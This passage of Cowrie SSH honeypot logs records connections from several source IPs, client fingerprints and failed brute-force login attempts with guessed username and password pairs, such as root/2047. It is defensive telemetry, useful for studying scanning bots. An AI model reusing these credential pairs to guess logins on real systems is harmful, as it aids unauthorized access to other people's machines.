fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:15.829548Z","src_ip":"107.0.200.227","session":"225753244986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2047","message":"login attempt [root/2047] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:16.252917Z","src_ip":"107.0.200.227","session":"225753244986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:17.351173Z","src_ip":"107.0.200.227","session":"225753244986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":51918,"dst_ip":"159.203.135.109","dst_port":22,"session":"e75875680c34","protocol":"ssh","message":"New connection: 66.113.163.125:51918 (159.203.135.109:22) [session: e75875680c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:24.733614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:24.738865Z","src_ip":"66.113.163.125","session":"e75875680c34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:24.775250Z","src_ip":"66.113.163.125","session":"e75875680c34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dir","message":"login attempt [root/dir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:24.956419Z","src_ip":"66.113.163.125","session":"e75875680c34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:25.995749Z","src_ip":"66.113.163.125","session":"e75875680c34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":9454,"dst_ip":"10.17.0.5","dst_port":22,"session":"effc31b812ff","protocol":"ssh","message":"New connection: 2.57.121.25:9454 (10.17.0.5:22) [session: effc31b812ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:29.915493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:29.920389Z","src_ip":"2.57.121.25","session":"effc31b812ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:30.015556Z","src_ip":"2.57.121.25","session":"effc31b812ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"garth","message":"login attempt [user/garth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:30.469278Z","src_ip":"2.57.121.25","session":"effc31b812ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gagaga","message":"login attempt [user/gagaga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:31.568120Z","src_ip":"2.57.121.25","session":"effc31b812ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fulton","message":"login attempt [user/fulton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:32.669596Z","src_ip":"2.57.121.25","session":"effc31b812ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fuckyeah","message":"login attempt [user/fuckyeah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:33.767033Z","src_ip":"2.57.121.25","session":"effc31b812ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fucke","message":"login attempt [user/fucke] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:34.867005Z","src_ip":"2.57.121.25","session":"effc31b812ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":34176,"dst_ip":"159.203.135.109","dst_port":22,"session":"c889af0d7bdd","protocol":"ssh","message":"New connection: 81.192.46.49:34176 (159.203.135.109:22) [session: c889af0d7bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:35.553345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:35.558448Z","src_ip":"81.192.46.49","session":"c889af0d7bdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:35.673851Z","src_ip":"81.192.46.49","session":"c889af0d7bdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:35.965013Z","src_ip":"2.57.121.25","session":"effc31b812ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:36.167454Z","src_ip":"81.192.46.49","session":"c889af0d7bdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:37.284683Z","src_ip":"81.192.46.49","session":"c889af0d7bdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":38986,"dst_ip":"159.203.135.109","dst_port":22,"session":"58e0a0f186a0","protocol":"ssh","message":"New connection: 125.16.27.190:38986 (159.203.135.109:22) [session: 58e0a0f186a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:41.033759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:41.038700Z","src_ip":"125.16.27.190","session":"58e0a0f186a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:41.245315Z","src_ip":"125.16.27.190","session":"58e0a0f186a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:42.123172Z","src_ip":"125.16.27.190","session":"58e0a0f186a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:05:43.392785Z","src_ip":"125.16.27.190","session":"58e0a0f186a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":38849,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d57c2b4e103","protocol":"ssh","message":"New connection: 175.107.32.186:38849 (10.17.0.5:22) [session: 9d57c2b4e103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:25.966079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:25.971076Z","src_ip":"175.107.32.186","session":"9d57c2b4e103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:26.191908Z","src_ip":"175.107.32.186","session":"9d57c2b4e103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RPM","message":"login attempt [root/RPM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:27.102824Z","src_ip":"175.107.32.186","session":"9d57c2b4e103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:28.325726Z","src_ip":"175.107.32.186","session":"9d57c2b4e103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":45840,"dst_ip":"159.203.135.109","dst_port":22,"session":"f70a79221ea1","protocol":"ssh","message":"New connection: 107.0.200.227:45840 (159.203.135.109:22) [session: f70a79221ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:30.020205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:30.028949Z","src_ip":"107.0.200.227","session":"f70a79221ea1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:30.064238Z","src_ip":"107.0.200.227","session":"f70a79221ea1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:30.228218Z","src_ip":"107.0.200.227","session":"f70a79221ea1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:31.264443Z","src_ip":"107.0.200.227","session":"f70a79221ea1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":40528,"dst_ip":"159.203.135.109","dst_port":22,"session":"10be5edfacb6","protocol":"ssh","message":"New connection: 66.113.163.125:40528 (159.203.135.109:22) [session: 10be5edfacb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:36.986667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:36.991081Z","src_ip":"66.113.163.125","session":"10be5edfacb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:37.027006Z","src_ip":"66.113.163.125","session":"10be5edfacb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex321","message":"login attempt [root/alex321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:37.228270Z","src_ip":"66.113.163.125","session":"10be5edfacb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:38.273250Z","src_ip":"66.113.163.125","session":"10be5edfacb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":60730,"dst_ip":"159.203.135.109","dst_port":22,"session":"cddc87d6eb4e","protocol":"ssh","message":"New connection: 81.192.46.49:60730 (159.203.135.109:22) [session: cddc87d6eb4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:47.755175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:47.760976Z","src_ip":"81.192.46.49","session":"cddc87d6eb4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:47.876283Z","src_ip":"81.192.46.49","session":"cddc87d6eb4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:48.366941Z","src_ip":"81.192.46.49","session":"cddc87d6eb4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:06:49.485361Z","src_ip":"81.192.46.49","session":"cddc87d6eb4e","protocol":"ssh"}
